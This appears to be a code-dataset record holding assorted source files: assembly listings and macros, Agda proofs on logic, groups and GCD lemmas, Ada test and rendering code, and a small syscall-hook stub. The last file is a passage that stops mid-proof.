max_stars_repo_path
stringlengths
4
261
max_stars_repo_name
stringlengths
6
106
max_stars_count
int64
0
38.8k
id
stringlengths
1
6
text
stringlengths
7
1.05M
Object/Optimized/kernel/Scheduler.asm
collinsmichael/spartan
16
11107
; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.40629.0 TITLE C:\Users\cex123\Desktop\FYP\develop\spartan\Source\Kernel\Thread\Scheduler\Scheduler.c .686P .XMM include listing.inc .model flat INCLUDELIB OLDNAMES PUBLIC ??_C@_04KKJBFIJG@TASK?$AA@ ; `string' ; COMDAT ??_C@_04KKJBFIJG@TASK?$AA@ CONST SEGMENT ??_C@_04KKJBFIJG@TASK?$AA@ DB 'TASK', 00H ; `string' PUBLIC _InstallScheduler ; Function compile flags: /Ogspy ; File c:\users\cex123\desktop\fyp\develop\spartan\source\kernel\thread\scheduler\scheduler.c _TEXT SEGMENT _base$ = 8 ; size = 4 _size$ = 12 ; size = 4 _InstallScheduler PROC ; 6 : bool InstallScheduler(u8 *base, u32 size) { push ebp push esi ; 7 : CTask *TaskPool = (CTask*)MMAP_TASKPOOL; ; 8 : stosd(TaskPool, 0, sizeof(CTask)/4); push 19 ; 00000013H xor esi, esi mov ebp, 1664 ; 00000680H push esi push ebp call _stosd ; 9 : ; 10 : if (!(TaskPool->Tss = (CTss*)Monitor->GetBase('TSS '))) return false; mov eax, DWORD PTR _Monitor push 1414746912 ; 54535320H call DWORD PTR [eax+24] add esp, 16 ; 00000010H mov DWORD PTR ds:1668, eax test eax, eax jne SHORT $LN8@InstallSch $LN14@InstallSch: xor eax, eax jmp $LN9@InstallSch $LN8@InstallSch: ; 11 : if (!(TaskPool->Node = (char*)Monitor->GetBase('TASK'))) return false; mov eax, DWORD PTR _Monitor push 1413567307 ; 5441534bH call DWORD PTR [eax+24] mov DWORD PTR ds:1672, eax pop ecx test eax, eax je SHORT $LN14@InstallSch ; 12 : if (!(TaskPool->ReadyQ = (int *)Monitor->GetBase('RDYQ'))) return false; mov eax, DWORD PTR _Monitor push edi mov edi, 1380211025 ; 52445951H push edi call DWORD PTR [eax+24] mov DWORD PTR ds:1704, eax pop ecx test eax, eax je $LN11@InstallSch $LN6@InstallSch: ; 13 : if (!(TaskPool->BlockQ = (int *)Monitor->GetBase('BLKQ'))) return false; mov eax, DWORD PTR _Monitor push ebx mov ebx, 1112296273 ; 424c4b51H push ebx call DWORD PTR [eax+24] mov DWORD PTR ds:1708, eax pop ecx test eax, eax je SHORT $LN13@InstallSch ; 14 : if (!(TaskPool->KillQ = (int *)Monitor->GetBase('KILL'))) return false; mov eax, DWORD PTR _Monitor push 1263094860 ; 4b494c4cH call DWORD PTR [eax+24] mov DWORD PTR ds:1712, eax pop ecx test eax, eax je SHORT $LN13@InstallSch ; 15 : if (!(TaskPool->CtxList = (int *)Monitor->GetBase('CTX '))) return false; mov eax, DWORD PTR _Monitor push 1129601056 ; 43545820H call DWORD PTR [eax+24] mov DWORD PTR ds:1692, eax pop ecx test eax, eax je SHORT $LN13@InstallSch ; 16 : if (!(TaskPool->PcbList = (int *)Monitor->GetBase('PCB '))) return false; mov eax, DWORD PTR _Monitor push 1346585120 ; 50434220H call DWORD PTR [eax+24] mov DWORD PTR ds:1696, eax pop ecx test eax, eax je SHORT $LN13@InstallSch ; 17 : if (!(TaskPool->PebList = (int *)Monitor->GetBase('PEB '))) return false; mov eax, DWORD PTR _Monitor push 1346716192 ; 50454220H call DWORD PTR [eax+24] mov DWORD PTR ds:1700, eax pop ecx test eax, eax jne SHORT $LN1@InstallSch $LN13@InstallSch: xor eax, eax jmp $LN12@InstallSch $LN1@InstallSch: ; 18 : ; 19 : stosd(TaskPool->ReadyQ, 0, Monitor->GetSize('RDYQ')/4); mov eax, DWORD PTR _Monitor push edi call DWORD PTR [eax+28] shr eax, 2 push eax push esi push DWORD PTR ds:1704 call _stosd ; 20 : stosd(TaskPool->BlockQ, 0, Monitor->GetSize('BLKQ')/4); mov eax, DWORD PTR _Monitor push ebx call DWORD PTR [eax+28] shr eax, 2 push eax push esi push DWORD PTR ds:1708 call _stosd ; 21 : stosd(TaskPool->KillQ, 0, Monitor->GetSize('KILL')/4); mov eax, DWORD PTR _Monitor push 1263094860 ; 4b494c4cH call DWORD PTR [eax+28] shr eax, 2 push eax push esi push DWORD PTR ds:1712 call _stosd ; 22 : stosd(TaskPool->CtxList, 0, Monitor->GetSize('CTX ')/4); mov eax, DWORD PTR _Monitor push 1129601056 ; 43545820H call DWORD PTR [eax+28] shr eax, 2 push eax push esi push DWORD PTR ds:1692 call _stosd ; 23 : stosd(TaskPool->PcbList, 0, Monitor->GetSize('PCB ')/4); mov eax, DWORD PTR _Monitor add esp, 64 ; 00000040H push 1346585120 ; 50434220H call DWORD PTR [eax+28] shr eax, 2 push eax push esi push DWORD PTR ds:1696 call _stosd ; 24 : stosd(TaskPool->PebList, 0, Monitor->GetSize('PEB ')/4); mov eax, DWORD PTR _Monitor push 1346716192 ; 50454220H call DWORD PTR [eax+28] shr eax, 2 push eax push esi push DWORD PTR ds:1700 call _stosd ; 25 : ; 26 : void *node = TaskPool->Node; ; 27 : void *data = TaskPool->CtxList; ; 28 : ; 29 : Pool->CreateMeta((CPool*)TaskPool, 4*KB, 4, node, data, "TASK"); mov eax, DWORD PTR _Pool push OFFSET ??_C@_04KKJBFIJG@TASK?$AA@ push DWORD PTR ds:1692 push DWORD PTR ds:1672 push 4 push 4096 ; 00001000H push ebp call DWORD PTR [eax] ; 30 : Monitor->Protect('IVT '); mov eax, DWORD PTR _Monitor push 1230394400 ; 49565420H call DWORD PTR [eax+20] ; 31 : Monitor->Protect('TASK'); mov eax, DWORD PTR _Monitor push 1413567307 ; 5441534bH call DWORD PTR [eax+20] ; 32 : Monitor->Protect('RDYQ'); mov eax, DWORD PTR _Monitor add esp, 64 ; 00000040H push edi call DWORD PTR [eax+20] ; 33 : Monitor->Protect('BLKQ'); mov eax, DWORD PTR _Monitor push ebx call DWORD PTR [eax+20] ; 34 : Monitor->Protect('KILL'); mov eax, DWORD PTR _Monitor push 1263094860 ; 4b494c4cH call DWORD PTR [eax+20] ; 35 : Monitor->Protect('CTX '); mov eax, DWORD PTR _Monitor push 1129601056 ; 43545820H call DWORD PTR [eax+20] ; 36 : Monitor->Protect('PCB '); mov eax, DWORD PTR _Monitor push 1346585120 ; 50434220H call DWORD PTR [eax+20] ; 37 : Monitor->Protect('PEB '); mov eax, DWORD PTR _Monitor push 1346716192 ; 50454220H call DWORD PTR [eax+20] ; 38 : return true; xor eax, eax add esp, 24 ; 00000018H inc eax $LN12@InstallSch: pop ebx $LN11@InstallSch: pop edi $LN9@InstallSch: pop esi pop ebp ; 39 : } ret 0 _InstallScheduler ENDP _TEXT ENDS END
libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate.asm
ahjelm/z88dk
4
3973
<filename>libsrc/_DEVELOPMENT/target/rc2014/driver/ram/c/sdcc/shadow_relocate.asm ; void shadow_relocate(void * address) SECTION smc_lib PUBLIC _shadow_relocate EXTERN asm_push_di EXTERN asm_pop_ei_jp EXTERN asm_shadow_relocate ._shadow_relocate pop bc pop hl push hl push bc call asm_push_di call asm_shadow_relocate jp asm_pop_ei_jp
oeis/033/A033130.asm
neoneye/loda-programs
11
241379
; A033130: Base-3 digits are, in order, the first n terms of the periodic sequence with initial period 1,1,0. ; 1,4,12,37,112,336,1009,3028,9084,27253,81760,245280,735841,2207524,6622572,19867717,59603152,178809456,536428369,1609285108,4827855324,14483565973,43450697920,130352093760,391056281281,1173168843844,3519506531532,10558519594597,31675558783792,95026676351376,285080029054129,855240087162388,2565720261487164,7697160784461493,23091482353384480,69274447060153440,207823341180460321,623470023541380964,1870410070624142892,5611230211872428677,16833690635617286032,50501071906851858096 add $0,2 seq $0,77842 ; Expansion of (1-x)/(1-2*x-2*x^2-3*x^3). div $0,3
Logic/Propositional.agda
Lolirofle/stuff-in-agda
6
14627
<reponame>Lolirofle/stuff-in-agda<gh_stars>1-10 module Logic.Propositional where open import Data open import Data.Either as Either using (_‖_) open import Data.Tuple as Tuple using (_⨯_ ; _,_) open import Functional open import Logic import Lvl open import Type infixl 1010 ¬_ ¬¬_ infixl 1005 _∧_ infixl 1004 _∨_ infixl 1000 _↔_ ------------------------------------------ -- Conjunction (AND) _∧_ : ∀{ℓ₁ ℓ₂} → Stmt{ℓ₁} → Stmt{ℓ₂} → Stmt _∧_ = _⨯_ pattern [∧]-intro p q = p , q [∧]-elimₗ : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P ∧ Q) → P [∧]-elimₗ = Tuple.left [∧]-elimᵣ : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P ∧ Q) → Q [∧]-elimᵣ = Tuple.right [∧]-map = Tuple.map ------------------------------------------ -- Implication [→]-elim : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → P → (P → Q) → Q [→]-elim p f = f(p) [→]-intro : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P → Q) → (P → Q) [→]-intro f(p) = f(p) ------------------------------------------ -- Reverse implication open Functional using (_←_) public [←]-intro : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P → Q) → (Q ← P) [←]-intro = [→]-intro [←]-elim : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → P → (Q ← P) → Q [←]-elim = [→]-elim ------------------------------------------ -- Equivalence _↔_ : ∀{ℓ₁ ℓ₂} → Stmt{ℓ₁} → Stmt{ℓ₂} → Stmt P ↔ Q = ((P ← Q) ⨯ (P → Q)) pattern [↔]-intro l r = l , r [↔]-elimₗ : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → Q → (P ↔ Q) → P [↔]-elimₗ = swap Tuple.left [↔]-elimᵣ : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → P → (P ↔ Q) → Q [↔]-elimᵣ = swap Tuple.right [↔]-to-[←] : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P ↔ Q) → (Q → P) [↔]-to-[←] = Tuple.left [↔]-to-[→] : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P ↔ Q) → (P → Q) [↔]-to-[→] = Tuple.right ------------------------------------------ -- Disjunction (OR) _∨_ : ∀{ℓ₁ ℓ₂} → Stmt{ℓ₁} → Stmt{ℓ₂} → Stmt _∨_ = _‖_ pattern [∨]-introₗ l = Either.Left l pattern [∨]-introᵣ r = Either.Right r [∨]-elim : ∀{ℓ₁ ℓ₂ ℓ₃}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}}{R : Stmt{ℓ₃}} → (P → R) → (Q → R) → (P ∨ Q) → R [∨]-elim = Either.map1 [∨]-elim2 = Either.map ------------------------------------------ -- Bottom (false, absurdity, empty, contradiction) ⊥ : Stmt{Lvl.𝟎} ⊥ = Empty [⊥]-intro : ∀{ℓ}{P : Stmt{ℓ}} → P → (P → ⊥) → ⊥ [⊥]-intro = apply [⊥]-elim : ∀{ℓ}{P : Stmt{ℓ}} → ⊥ → P [⊥]-elim = empty ------------------------------------------ -- Top (true, truth, unit, validity) ⊤ : Stmt{Lvl.𝟎} ⊤ = Unit pattern [⊤]-intro = <> ------------------------------------------ -- Negation ¬_ : ∀{ℓ} → Stmt{ℓ} → Stmt ¬_ {ℓ} T = (T → ⊥) [¬]-intro : ∀{ℓ}{P : Stmt{ℓ}} → (P → ⊥) → (¬ P) [¬]-intro = id [¬]-elim : ∀{ℓ}{P : Stmt{ℓ}} → (¬ P) → (P → ⊥) -- written like (P → (¬ P) → ⊥) looks like a [⊥]-intro [¬]-elim = id ¬¬_ : ∀{ℓ} → Stmt{ℓ} → Stmt ¬¬ p = ¬(¬ p) ------------------------------------------ -- Exclusive disjunction (XOR) data _⊕_ {ℓ₁ ℓ₂} (P : Stmt{ℓ₁}) (Q : Stmt{ℓ₂}) : Stmt{ℓ₁ Lvl.⊔ ℓ₂} where [⊕]-introₗ : P → (¬ Q) → (P ⊕ Q) [⊕]-introᵣ : Q → (¬ P) → (P ⊕ Q) ------------------------------------------ -- Negative disjunction (NOR) _⊽_ : ∀{ℓ₁ ℓ₂} → Stmt{ℓ₁} → Stmt{ℓ₂} → Stmt p ⊽ q = (¬ p) ∧ (¬ q) [⊽]-intro : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (¬ P) → (¬ Q) → (P ⊽ Q) [⊽]-intro = [∧]-intro [⊽]-elimₗ : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P ⊽ Q) → ¬ P [⊽]-elimₗ = [∧]-elimₗ [⊽]-elimᵣ : ∀{ℓ₁ ℓ₂}{P : Stmt{ℓ₁}}{Q : Stmt{ℓ₂}} → (P ⊽ Q) → ¬ Q [⊽]-elimᵣ = [∧]-elimᵣ ------------------------------------------ -- Negative conjunction (NAND) -- data _⊼_ {P : Stmt} {Q : Stmt} : Stmt where -- [⊼]-intro ¬(P ∧ Q) → (P ⊼ Q) -- -- [⊼]-elim : {P Q : Stmt} → (P ⨯ Q ⨯ (P ⊼ Q)) → ⊥ -- [⊼]-elim(p , q , nand)
EasySafe/utility/instrumentation_callbacks/minwinasm.asm
ALEHACKsp/EasySafe
1
2017
<gh_stars>1-10 include ksamd64.inc EXTERN SysHook:NEAR .data value qword ? .code medium PROC ; https://docs.microsoft.com/en-us/cpp/build/caller-callee-saved-registers push rax ; return value push rcx push RBX push RBP push RDI push RSI push RSP push r10 push r11 push R12 push R13 push R14 push R15 ; without this it crashes :) sub rsp, 1000h mov rdx, rax mov rcx, r10 call SysHook mov QWORD PTR [value], rax add rsp, 1000h pop R15 pop R14 pop R13 pop R12 pop R11 pop R10 pop RSP pop RSI pop RDI pop RBP pop RBX pop rcx pop rax mov rax, qword ptr [value] jmp R10 medium ENDP END
src/MultiSorted/Group.agda
cilinder/formaltt
21
14199
<reponame>cilinder/formaltt open import Agda.Primitive using (lzero; lsuc; _⊔_) open import Relation.Binary.PropositionalEquality using (_≡_; refl) open import SingleSorted.Substitution open import Data.Nat using (ℕ; zero; suc) import MultiSorted.Context as Context module MultiSorted.Group where data 𝒜 : Set₀ where A : 𝒜 single-sort : ∀ (X : 𝒜) → X ≡ A single-sort A = refl open import MultiSorted.AlgebraicTheory open import MultiSorted.AlgebraicTheory data GroupOp : Set where e : GroupOp inv : GroupOp mul : GroupOp ctx : ∀ (n : ℕ) → Context.Context 𝒜 ctx zero = Context.ctx-empty ctx (suc n) = Context.ctx-concat (ctx n) (Context.ctx-slot A) -- the signature of the theory of small groups -- has one constant, one unary operation, one binary operation Σ : Signature {lzero} {lzero} Σ = record { sort = 𝒜 ; oper = GroupOp ; oper-arity = λ{ e → ctx 0 ; inv → ctx 1 ; mul → ctx 2} ; oper-sort = λ{ e → A ; inv → A ; mul → A} } open Signature Σ singleton-context : (var (ctx-slot A)) → var (ctx-concat ctx-empty (ctx-slot A)) singleton-context (var-var {A}) = var-inr (var-var {A}) single-sort-context : ∀ {Γ : Context} (x : var Γ) → sort-of Γ x ≡ A single-sort-context {Γ} x = single-sort (Context.sort-of 𝒜 Γ x) single-sort-terms : ∀ {X : 𝒜} {Γ : Context} → Term Γ X ≡ Term Γ A single-sort-terms {A} = refl σ : ∀ {Γ : Context} {t : Term Γ A} → Γ ⇒s (ctx 1) σ {Γ} {t} = λ{ (var-inr var-var) → t} δ : ∀ {Γ : Context} {t : Term Γ A} {s : Term Γ A} → Γ ⇒s (ctx 2) δ {Γ} {t} {s} = sub where sub : Γ ⇒s (ctx 2) sub (var-inl x) rewrite (single-sort-terms {(sort-of (ctx 2) (var-inl x))} {Γ}) = t sub (var-inr y) rewrite (single-sort-terms {(sort-of (ctx 2) (var-inr y))} {Γ}) = s -- helper functions for creating terms e' : ∀ {Γ : Context} → Term Γ A e' {Γ} = tm-oper e λ() _∗_ : ∀ {Γ} → Term Γ A → Term Γ A → Term Γ A t ∗ s = tm-oper mul λ{ xs → δ {t = t} {s = s} xs} _ⁱ : ∀ {Γ : Context} → Term Γ A → Term Γ A t ⁱ = tm-oper inv λ{ x → σ {t = t} x} -- _∗_ : ∀ {Γ} → Term Γ A → Term Γ A → Term Γ A -- _∗_ {Γ} t s = tm-oper mul λ{ (var-inl i) → {!!} ; (var-inr i) → {!!}} -- _ⁱ : ∀ {Γ : Context} → Term Γ A → Term Γ A -- t ⁱ = tm-oper inv λ{ x → t } infixl 5 _∗_ infix 6 _ⁱ _ : Term (ctx 2) A _ = tm-var (var-inl (var-inr var-var)) ∗ tm-var (var-inr var-var) -- group equations data GroupEq : Set where mul-assoc e-left e-right inv-left inv-right : GroupEq mul-assoc-eq : Equation Σ e-left-eq : Equation Σ e-right-eq : Equation Σ inv-left-eq : Equation Σ inv-right-eq : Equation Σ mul-assoc-eq = record { eq-ctx = ctx 3 ; eq-lhs = x ∗ y ∗ z ; eq-rhs = x ∗ (y ∗ z) } where x : Term (ctx 3) A y : Term (ctx 3) A z : Term (ctx 3) A x = tm-var (var-inl (var-inl (var-inr var-var))) y = tm-var (var-inl (var-inr var-var)) z = tm-var (var-inr var-var) e-left-eq = record { eq-ctx = ctx 1 ; eq-lhs = e' ∗ x ; eq-rhs = x } where x : Term (ctx 1) A x = tm-var (var-inr var-var) e-right-eq = record { eq-ctx = ctx 1 ; eq-lhs = x ∗ e' ; eq-rhs = x } where x : Term (ctx 1) A x = tm-var (var-inr var-var) inv-left-eq = record { eq-ctx = ctx 1 ; eq-lhs = x ⁱ ∗ x ; eq-rhs = e' } where x : Term (ctx 1) A x = tm-var (var-inr var-var) inv-right-eq = record { eq-ctx = ctx 1 ; eq-lhs = x ∗ x ⁱ ; eq-rhs = e' } where x : Term (ctx 1) A x = tm-var (var-inr var-var) 𝒢 : Theory lzero Σ 𝒢 = record { ax = GroupEq ; ax-eq = λ{ mul-assoc → mul-assoc-eq ; e-left → e-left-eq ; e-right → e-right-eq ; inv-left → inv-left-eq ; inv-right → inv-right-eq } }
src/formatter_test.adb
zenharris/ada-bbs
2
24304
-------------------------- with Text_IO; with Formatter; procedure Formatter_Test is -- ++ -- -- FUNCTIONAL DESCRIPTION: -- -- This is a test driver program for the generic Formatter package. -- -- FORMAL PARAMETERS: -- -- None. -- -- DESIGN: -- -- This test driver contains a number of calls to the Formatter Put -- procedure with a format string and data values. Each test is identified -- by a test number and a description of the test. -- -- EXCEPTIONS: -- -- No exceptions are declared in this test driver, although any exception -- raised by Formatter.Put are handled. -- -- KEYWORDS: -- -- Test Driver. -- -- -- type Days_of_Week is (Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday); package Ada_Format is new Formatter (Enumerated => Days_of_Week); use Ada_Format; -- Direct visibility of F conversion functions Name : String(1..6); Integer_Value : Positive := 66; Real_Value : Float := 3.1415927; Character_Value : Character := 'x'; Enumeration_Value : Days_of_Week := Thursday; begin -- Formatter_Test Test_1: begin Name := "Test_1"; Ada_Format.Put("%s:\tDefault Formats\n", F(Name)); Ada_Format.Put("Integer_Value = '%i'\n", F(Integer_Value)); Ada_Format.Put("Real_Value = '%f'\n", F(Real_Value)); Ada_Format.Put("Scientific_Value = '%e'\n", F(Real_Value)); Ada_Format.Put("Character_Value = '%c'\n", F(Character_Value)); Ada_Format.Put("Enumeration_Value = '%s'\n\n", F(Enumeration_Value)); exception when others => Text_IO.Put_Line("Test_1: Unknown exception raised."); Text_IO.New_Line; end Test_1; Test_2: begin Name := "Test_2"; Ada_Format.Put("%s:\t" & "Wide-Field Formats\n" & "Integer_Value = '%15i'\n" & "Real_Value = '%15f'\n" & "Scientific_Value = '%15e'\n" & "Character_Value = '%15c'\n" & "Enumeration_Value = '%15s'\n\n", (F(Name), F(Integer_Value), F(Real_Value), F(Real_Value), F(Character_Value), F(Enumeration_Value))); exception when others => Text_IO.Put_Line("Test_2: Unknown exception raised."); Text_IO.New_Line; end Test_2; Test_3: begin Name := "Test_3"; Ada_Format.Put("%s:\t" & "Wide-Field Left-Justified Formats\n" & "Integer_Value = '%-15i'\n" & "Real_Value = '%-15f'\n" & "Scientific_Value = '%-15e'\n" & "Character_Value = '%-15c'\n" & "Enumeration_Value = '%-15s'\n\n", (F(Name), F(Integer_Value), F(Real_Value), F(Real_Value), F(Character_Value), F(Enumeration_Value))); exception when others => Text_IO.Put_Line("Test_3: Unknown exception raised."); Text_IO.New_Line; end Test_3; Test_4: begin Name := "Test_4"; Ada_Format.Put("%s:\tDefault Formats, Zero-Fill\n", F(Name)); Ada_Format.Put("Integer_Value = '%0i'\n", F(Integer_Value)); Ada_Format.Put("Real_Value = '%0f'\n", F(Real_Value)); Ada_Format.Put("Scientific_Value = '%0e'\n\n", F(Real_Value)); exception when others => Text_IO.Put_Line("Test_4: Unknown exception raised."); Text_IO.New_Line; end Test_4; Test_5: begin Name := "Test_5"; Ada_Format.Put("%s:\t" & "Specified Field Width, Non-Decimal Bases\n" & "Integer Value = '%4i'\n" & "Hexadecimal Value = '%4x'\n" & "Octal Value = '%4o'\n\n", (F(Name), F(Integer_Value), F(Integer_Value), F(Integer_Value))); exception when others => Text_IO.Put_Line("Test_5: Unknown exception raised."); Text_IO.New_Line; end Test_5; Test_6: begin Name := "Test_6"; Ada_Format.Put("%s:\t" & "Precision Formats\n" & "Integer_Value = '%15.4i'\n" & "Real_Value = '%15.4f'\n" & "Scientific_Value = '%15.4e'\n" & "String_Value = '%15.6s'\n\n", (F(Name), F(Integer_Value), F(Real_Value), F(Real_Value), F(Name))); exception when others => Text_IO.Put_Line("Test_6: Unknown exception raised."); Text_IO.New_Line; end Test_6; Test_7: begin Name := "Test_7"; Ada_Format.Put("%s:\t" & "Incorrect Field Widths\n" & "Integer_Value = '%1i'\n" & "Real_Value = '%2.1f'\n" & "Scientific_Value = '%3.2e'\n" & "String_Value = '%4s'\n" & "Unknown Format = '%+02,7z'\n\n", (F(Name), F(Integer_Value), F(Real_Value), F(Real_Value), F(Name), F(25))); exception when others => Text_IO.Put_Line("Test_7: Unknown exception raised."); Text_IO.New_Line; end Test_7; end Formatter_Test; -----------------------------
src/demo-terrains.ads
onox/orka-demo
3
20068
with Orka.Behaviors; with Orka.Cameras; with Orka.Features.Atmosphere; with Orka.Resources.Locations; with Orka.Timers; with Orka.Types; with Orka.Rendering.Buffers; with Orka.Rendering.Programs.Modules; with Orka.Features.Terrain; with GL.Objects.Textures; with GL.Low_Level.Enums; with Demo.Atmospheres; with Planets; package Demo.Terrains is type Terrain is tagged limited private; function Height_Map (Object : Terrain) return GL.Objects.Textures.Texture; function Slope_Map (Object : Terrain) return GL.Objects.Textures.Texture; function Render_Modules (Object : Terrain) return Orka.Rendering.Programs.Modules.Module_Array; function Create_Terrain (Planet_Model : aliased Orka.Features.Atmosphere.Model_Data; Planet_Data : Planets.Planet_Characteristics; Atmosphere_Manager : Demo.Atmospheres.Atmosphere; Location_Data : Orka.Resources.Locations.Location_Ptr; Location_Shaders : Orka.Resources.Locations.Location_Ptr) return Terrain; procedure Render (Object : in out Terrain; Terrain : in out Orka.Features.Terrain.Terrain; Parameters : Orka.Features.Terrain.Subdivision_Parameters; Visible_Tiles : out Natural; Camera : Orka.Cameras.Camera_Ptr; Planet, Star : Orka.Behaviors.Behavior_Ptr; Rotation : Orka.Types.Singles.Matrix4; Center : Orka.Cameras.Transforms.Matrix4; Freeze : Boolean; Wires : Boolean; Timer_Update : in out Orka.Timers.Timer; Timer_Render : in out Orka.Timers.Timer); private use Orka.Cameras; package LE renames GL.Low_Level.Enums; type Terrain is tagged limited record -- Program : Orka.Features.Terrain.Terrain (Count => 6); Terrain_Transforms : Orka.Rendering.Buffers.Buffer (Orka.Types.Single_Matrix_Type); Terrain_Sphere_Params : Orka.Rendering.Buffers.Buffer (Orka.Types.Single_Type); Terrain_Spheroid_Parameters : Orka.Features.Terrain.Spheroid_Parameters; Modules_Terrain_Render : Orka.Rendering.Programs.Modules.Module_Array (1 .. 2); Rotate_90 : Transforms.Matrix4; Rotate_180 : Transforms.Matrix4; Rotate_270 : Transforms.Matrix4; Rotate_90_Up : Transforms.Matrix4; Rotate_90_Down : Transforms.Matrix4; Planet_Radius : Orka.Float_64; Planet_Unit_Length : Orka.Float_64; DMap : GL.Objects.Textures.Texture (LE.Texture_2D); SMap : GL.Objects.Textures.Texture (LE.Texture_2D); end record; function Render_Modules (Object : Terrain) return Orka.Rendering.Programs.Modules.Module_Array is (Object.Modules_Terrain_Render); function Height_Map (Object : Terrain) return GL.Objects.Textures.Texture is (Object.DMap); function Slope_Map (Object : Terrain) return GL.Objects.Textures.Texture is (Object.SMap); end Demo.Terrains;
examples/exetest.asm
AbdulrahmanAbumdas/emu8086
287
101078
<reponame>AbdulrahmanAbumdas/emu8086 ; a tiny example of multi segment executable file. ; data is stored in a separate segment, segment registers must be set correctly. name "testexe" data segment msg db "hello, world!", 0dh,0ah, '$' ends stack segment db 30 dup(0) ends code segment start: ; set segment registers: mov ax, data mov ds, ax mov es, ax ; print "hello, world!": lea dx, msg mov ah, 09h int 21h ; wait for any key... mov ah, 0 int 16h ; return control to os: mov ah, 4ch int 21h ends end start ; set entry point and stop the assembler.
macros/data.asm
Dev727/ancientplatinum
1
105134
; Value macros percent EQUS "* $ff / 100" ; Constant data (db, dw, dl) macros dwb: MACRO dw \1 db \2 ENDM dbw: MACRO db \1 dw \2 ENDM dbbw: MACRO db \1, \2 dw \3 ENDM dbbbw: MACRO db \1, \2, \3 dw \4 ENDM dbww: MACRO db \1 dw \2, \3 ENDM dbwww: MACRO db \1 dw \2, \3, \4 ENDM dbwbb: MACRO db \1 dw \2 db \3, \4 ENDM dbwbw: MACRO db \1 dw \2 db \3 dw \4 ENDM dn: MACRO ; nybbles rept _NARG / 2 db ((\1) << 4) | (\2) shift shift endr ENDM dc: MACRO ; "crumbs" rept _NARG / 4 db ((\1) << 6) | ((\2) << 4) | ((\3) << 2) | (\4) shift shift shift shift endr ENDM dx: MACRO x = 8 * ((\1) - 1) rept \1 db ((\2) >> x) & $ff x = x + -8 endr ENDM dt: MACRO ; three-byte (big-endian) dx 3, \1 ENDM dd: MACRO ; four-byte (big-endian) dx 4, \1 ENDM bigdw: MACRO ; big-endian word dx 2, \1 ; db HIGH(\1), LOW(\1) ENDM dba: MACRO ; dbw bank, address rept _NARG dbw BANK(\1), \1 shift endr ENDM dab: MACRO ; dwb address, bank rept _NARG dwb \1, BANK(\1) shift endr ENDM dbpixel: MACRO if _NARG >= 4 ; x tile, x pxl, y tile, y pxl db \1 * 8 + \3, \2 * 8 + \4 else ; x, y db \1 * 8, \2 * 8 endc ENDM dsprite: MACRO ; y tile, y pxl, x tile, x pxl, vtile offset, attributes db (\1 * 8) % $100 + \2, (\3 * 8) % $100 + \4, \5, \6 ENDM menu_coords: MACRO ; x1, y1, x2, y2 db \2, \1 ; start coords db \4, \3 ; end coords ENDM bcd: MACRO rept _NARG dn ((\1) % 100) / 10, (\1) % 10 shift endr ENDM sine_table: MACRO ; \1 samples of sin(x) from x=0 to x<32768 (pi radians) x = 0 rept \1 dw (sin(x) + (sin(x) & $ff)) >> 8 ; round up x = x + DIV(32768, \1) ; a circle has 65536 "degrees" endr ENDM
agda-stdlib-0.9/src/Data/Nat/GCD/Lemmas.agda
qwe2/try-agda
1
15656
------------------------------------------------------------------------ -- The Agda standard library -- -- Boring lemmas used in Data.Nat.GCD and Data.Nat.Coprimality ------------------------------------------------------------------------ module Data.Nat.GCD.Lemmas where open import Data.Nat import Data.Nat.Properties as NatProp open NatProp.SemiringSolver open import Relation.Binary.PropositionalEquality open ≡-Reasoning open import Function lem₀ = solve 2 (λ n k → n :+ (con 1 :+ k) := con 1 :+ n :+ k) refl lem₁ : ∀ i j → 2 + i ≤′ 2 + j + i lem₁ i j = NatProp.≤⇒≤′ $ s≤s $ s≤s $ NatProp.n≤m+n j i lem₂ : ∀ d x {k n} → d + x * k ≡ x * n → d + x * (n + k) ≡ 2 * x * n lem₂ d x {k} {n} eq = begin d + x * (n + k) ≡⟨ solve 4 (λ d x n k → d :+ x :* (n :+ k) := d :+ x :* k :+ x :* n) refl d x n k ⟩ d + x * k + x * n ≡⟨ cong₂ _+_ eq refl ⟩ x * n + x * n ≡⟨ solve 3 (λ x n k → x :* n :+ x :* n := con 2 :* x :* n) refl x n k ⟩ 2 * x * n ∎ lem₃ : ∀ d x {i k n} → d + (1 + x + i) * k ≡ x * n → d + (1 + x + i) * (n + k) ≡ (1 + 2 * x + i) * n lem₃ d x {i} {k} {n} eq = begin d + y * (n + k) ≡⟨ solve 4 (λ d y n k → d :+ y :* (n :+ k) := (d :+ y :* k) :+ y :* n) refl d y n k ⟩ (d + y * k) + y * n ≡⟨ cong₂ _+_ eq refl ⟩ x * n + y * n ≡⟨ solve 3 (λ x n i → x :* n :+ (con 1 :+ x :+ i) :* n := (con 1 :+ con 2 :* x :+ i) :* n) refl x n i ⟩ (1 + 2 * x + i) * n ∎ where y = 1 + x + i lem₄ : ∀ d y {k i} n → d + y * k ≡ (1 + y + i) * n → d + y * (n + k) ≡ (1 + 2 * y + i) * n lem₄ d y {k} {i} n eq = begin d + y * (n + k) ≡⟨ solve 4 (λ d y n k → d :+ y :* (n :+ k) := d :+ y :* k :+ y :* n) refl d y n k ⟩ d + y * k + y * n 